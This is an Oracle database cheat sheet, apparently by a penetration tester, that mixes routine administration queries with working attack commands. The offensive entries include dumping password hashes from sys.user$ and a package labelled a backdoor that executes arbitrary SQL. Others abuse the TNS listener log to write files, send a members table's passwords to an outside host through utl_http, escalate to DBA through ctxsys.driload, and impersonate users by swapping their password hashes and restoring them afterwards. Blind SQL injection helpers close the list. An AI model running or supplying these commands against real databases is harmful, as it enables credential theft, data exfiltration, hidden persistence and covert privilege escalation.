Oracle cheat sheet


to see scheduled jobs select job from USER_JOBS;
to see what a job do SELECT JOB, WHAT FROM USER_JOBS WHERE JOB = job_name;
to log all sys and system commands; this option have to be set in the init.ora file AUDIT_SYS_OPERATIONS=TRUE
to enable the audit this option have to be set in init.ora file AUDIT_TRAIL=DB (or FS to save on file system)
to check if audit_trail is enabled select name, value from v$parameter where name like ‘%audit_trail%’;
To list the audited table select o.name from sys.obj$ o, sys.tab$ t where t.audit$ like ‘%A%’ and o.obj#=t .obj#;
To list the audited table and the audited action (select, update, drop. etc.) SELECT  object_name, object_type, del, ins, sel, upd FROM dba_obj_audit_opts where del like ‘%A%’ or ins like ‘%A%’ or sel like ‘%A%’ or upd like ‘%A%’;
to check if FGA is enabled select * from DBA_AUDIT_POLICIES;
to check which objects are audited whith FGA SELECT object_name, object_type, del, ins, sel, upd FROM dba_obj_audit_opts;
table where audit log are stored sys.FGA_LOG$
use this view to read FGA data DBA_FGA_AUDIT_TRAIL
To list all the stored procedure and their owner select OWNER, object_name, object_type FROM dba_obj_audit_opts where object_type=’PROCEDURE’;
To list all the active trigger select owner,TRIGGER_NAME,TRIGGER_TYPE,status from dba_triggers;
To the UTL_FILE_DIR if present select name, value from v$parameter where name = ‘utl_file_dir’;
to change the value of utl_file_dir with this command (a db restart is needed) alter system set utl_file_dir=’*’;
To get users and passwords SELECT name, password FROM sys.user$ where type#=1
if pfile is defined it’s possible to change the utl_file_dir in runtime without restarting the database alter system set utl_file_dir=’*’ scope =spfile;
To copy a table into another create table xxx.yyy as select * from old.table;
Copy table from foreign host to here COPY FROM user@tnsname CREATE tablename USING SELECT * FROM tablename;
remove all tabulations in  query output set head off set echo off set pagesize 0 set space 1
Set display rows SET PAGESIZE 66;
To give all java permission (read,write,execute) to a user exec dbms_java.grant_permission(‘oracle_user’, ‘SYS:java.io.FilePermission’, ‘<<ALL FILES>>’, ‘execute’);
To extract a single choosed record from a table select TNAME from (select TNAME,ROWNUM as rn from tab) where rn=’2′;
To list top n rows of a table in order SELECT * FROM (SELECT * FROM t ORDER BY c) WHERE ROWNUM <= n;
To view the oracle version select banner from v$version; #or Select banner || ‘-‘ || (select banner from v$version where banner like ‘Oracle%’) from v$version where banner like ‘TNS%’
To show the source code of a package SELECT text FROM user_source WHERE name = ‘SR_PKG’;
To disable the uppersand (useful when creating a file on the disk) set define off
To enable and define an escape char set escape \
To show the IP address of the db server select SYS_CONTEXT(‘USERENV’, ‘IP_ADDRESS’, 15) ipaddr from dual;
To show the HOSTNAME of the db server select SYS_CONTEXT(‘USERENV’, ‘HOST’, 15) ipaddr from dual;
To show user grants select * from user_sys_privs;
oracle simple backdoor (hey gippo, really thank you!) CREATE OR REPLACE PACKAGE RAIST_PKG AS PROCEDURE exec_this_code(commandline IN VARCHAR2); END RAIST_PKG; / CREATE OR REPLACE PACKAGE BODY RAIST_PKG AS PROCEDURE exec_this_code(commandline IN VARCHAR2) IS BEGIN EXECUTE IMMEDIATE commandline; END; END RAIST_PKG; /
To start a session as sysdba sqlplus sys@sid as sysdba;
To start a sysdba session under Windows sqlplus “/as sysdba”;
To start a session as sysdba before oracle 9i $ svrmgrl svrmgrl> connect internal
To list all tables in current schema SELECT table_name FROM user_tables;
To turn pause on SET PAUSE ON;
To show current database SELECT * FROM global_name;
to show who I am SHOW USER;
t o start SQLPLUS without login SQLPLUS /NOLOG
To change a user’s password ALTER USER user IDENTIFIED BY password;
to lock/unlock an account ALTER USER user ACCOUNT LOCK/UNLOCK;
To delete a user and all his objects drop user username cascade;
To grant a priv to an user Grant “privilege” to “user”;
To grant privileges on a table grant privileges on object to user;  (use public for any) eg. grant select, insert, update, delete on suppliers to smithj;
To revoke privileges on a table revoke privileges on object from user; eg. revoke delete on suppliers from anderson;
To grant privileges on a function or a procedure grant execute on object to user; (use public for any) eg. grant execute on Find_Value to smithj;
To discover all the functions with public execute grant select * from dba_tab_privs p, all_arguments a where grantee = ‘PUBLIC’ and privilege = ‘EXECUTE’ and p.table_name = a.package_name and p.owner = a.owner and a.position = 0 and a.in_out = ‘OUT’ order by p.owner, p.table_name, p.grantee
To revoke privileges on a function or a procedure revoke execute on object from user; eg. revoke execute on Find_Value from anderson;
To write a file abusing the tns listener log file using tnscmd.pl perl ./tnscmd.pl -p1521 -h gollum –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/tmp/test)))” perl ./tnscmd.pl -h gollum –rawcmd “(CONNECT_DATA=((             + + ))” #respect the carriage return              ^^^^
To open a http connection somewhere select utl.http_request(‘http://www.mioserver.pub’) from dual; #i know this trick in useful in at least two case: #case 1: modifying the glogin.sql file with the trick described above(with a #create user commandJ , you will have a line dropped in the log file of your #web server when a DBA log in. #case 2: it’s useful in sql injection to discover the IP address of the db server or to send data over http. SELECT utl_http.request(‘http://www.example.com’) FROM DUAL SELECT utl_http.request(‘http://www.example.com/?’ || (SELECT pass FROM members) ) FROM DUAL
To escalate privileges from user: OUTLN BACKUP exec ctxsys.driload.validate_stmt(‘grant dba to user’); exec dbms_repcat_admin.grant_admin_any_schema(‘user’)’
to become a user without knowing his password # first step, read his password hash Select password from sys.user$ where username=’user’; #second step, change his password Alter user username identified by new_password; #now you can log in with the user Sqlplus user/new_password@sid #When you are done you can set back the old user password update sys.user$ set password=’HASH’ where name=’DBA’;
Functions useful for Blind SQL Injetion BEGIN DBMS_LOCK.SLEEP(5); END; – Sleep for 5 seconds CHR() – Convert to Char ASCII() – Convert to ASCII SUBSTR() – Substring BITAND() – Bit And operation LOWER() – Convert to LowerCase